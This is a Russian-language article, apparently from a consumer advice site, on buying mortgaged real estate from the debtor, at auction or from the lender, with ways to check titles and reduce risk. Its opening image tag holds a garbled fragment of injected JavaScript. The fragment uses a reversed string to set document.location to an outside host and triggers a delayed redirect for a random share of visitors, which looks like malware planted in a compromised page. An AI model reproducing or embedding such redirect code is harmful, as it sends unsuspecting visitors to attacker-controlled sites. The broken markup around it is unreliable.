Добавить в закладки

Три вида покупки залоговой недвижимости

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tos/mortgaged_realestate.jpg» alt=»Три вида покупки залоговой недвижимости» />

Экономить на покупках всегда приятно. Но настоящий праздник — экономия на «недвижке». Поэтому ее залоговая категория, которая позволяет сохранить потребителю до 30% от среднерыночной цены, представляет особый интерес.
Что, почему и как — ниже и подробнее.

Имущество в залоге

Выдача кредитным учреждением денег взаймы — бизнес, приносящий ему доход. Но для этого заемные средства должны гарантированно возвращаться вместе с процентами за их использование. Оформление недвижимого имущества заемщика в залог — инструмент достижения этого. В случае невозможности выплатить долг, клиент погасит его стоимостью заложенного добра. Которое банк постарается быстро превратить в деньги: жилплощадь как таковая его не интересует.
Оперативность реализации напрямую зависит от стоимости объекта, поэтому она может быть значительно ниже рыночных аналогов. Что и делает такой вариант заслуживающим внимания.

Способы приобретения

Покупка такого вида жилья может быть:

  • У самого должника.

    Человек, попавший в затруднительное финансовое положение, может сам реализовать залог. Для него это наиболее выгодная возможность: чем дороже продажа, тем больше денег остается у продавца после расчета с кредитором. Поэтому данный вариант не будет слишком дешевым для покупателя, хотя и наиболее доступным для предварительного изучения. Здесь можно обезопасить себя от «забывших» выселиться жильцов.
    На этом, пожалуй, его «плюсы» заканчиваются. К «минусам» относится самостоятельная проверка документов: прав собственности на помещение, аудит коммунальных платежей на предмет отсутствия задолженности, и пр.
    Но главный недостаток этого способа — зависимость от честного слова продавца. Залог официально продается только после погашения ссуды и снятия ограничения. И случается, что деньги, переданные для этой цели будущим собственником, оседают в кармане настоящего. И тогда первый имеет вместо жилища судебную тяжбу без гарантии на успех.
    Но если здесь можно перечислить средства непосредственно банку, то в случае авансовых платежей противостоять хозяину-мошеннику нечем. Ему никто не мешает обещать сделку сразу нескольким клиентам, взять у них задатки, а потом все отменить.

  • Через аукцион.

    Таких сюрпризов нет на торгах, куда жилище поступит в случае отсутствия консенсуса между сторонами. Но здесь — свои трудности:
    — длительность. Во-первых, для начала работы с залогом, платежи по погашению ипотеки должны полностью отсутствовать 3 и более месяцев. Во-вторых, проверка, подготовка и подача объекта на продажу может затянуться на пару лет;
    — затратность. Участие в онлайн-аукционах требует внесения задатка в размере 5% от стоимости помещения;
    — оформление. Помимо предоставления пакета документов, каждая торговая площадка потребует аккредитацию и наличие электронной подписи (ЭПЦ);
    — конкуренция. Лот, привлекательный соотношением цена/качество, может спровоцировать настоящее сражение за право его купить.
    И тогда нивелируется главная «фишка» такого жилья: относительная дешевизна.

  • Непосредственно у кредитора.

    Если продать залог на торгах не получилось, кредитору придется брать его на баланс и самостоятельно реализовывать. Конечно, это — лишняя головная боль для бухгалтерии организации, от которой стараются быстрее избавиться, снижая цену. Но… замечательный объект легко уходит «с молотка». То, что осталось, может иметь изъяны, которые неплохо бы узнать до сделки. Здесь также возможен сюрприз в виде прежних жильцов, выселять которых придется новому владельцу.
    Зато для приобретения имущества у самого банка, можно получить у него же займ по более выгодной ставке.

Минимизация рисков

Как видно, «подводные камни» приобретения залогового имущества присутствуют всегда. Но обезопасить себя все-таки можно:
Во-первых, зная кадастровый номер недвижимости, стоит проверить ее по сайту Госреестра (rosreestr.ru). Там доступны сведения обо всех существующих ограничениях и владельцах.
В полиции стоит запросить данные о лицах, прописанных там. Если в квартире законно проживают дети и недееспособные граждане, от нее лучше отказаться: выписать (и выселить!) такие категории будет невозможно.
Пенсионный фонд и тот же Росреестр документально проинформируют о привлечении для покупки жилья материнского капитала и наличия выделенных долей у детей.
Обязательно нужно проверить последнего и предпоследнего собственника на предмет банкротства. Если такая процедура инициировалась, кредиторы, желающие возврата долгов, могут признать покупку недействительной как совершенную в «предбанкротном» состоянии. Получить такую информацию возможно в картотеке арбитражных дел (kad.arbitr.ru) или в общефедеральном реестре сведений о банкротстве (bankrot.fedresurs.ru).

Ради получения значительной экономии можно согласиться с «подмоченной репутацией» жилища. Особенно, если только солидная скидка делает покупку возможной в принципе. При грамотном подходе, залоговое имущество может быть отличным инструментом решения жилищной проблемы.

Добавить в избранное Версия для печати
Поделитесь:
Рейтинг статьи:
Автор: admin
Опубликовано: 04.07.2021





Оставить комментарий

ОБЯЗАТЕЛЬНО приложите ФОТО проблемы - так ответ эксперта будет гораздо точней

Оставляя комментарий, Вы принимаете пользовательское соглашение

Ваше имя:
Ваш e-mail: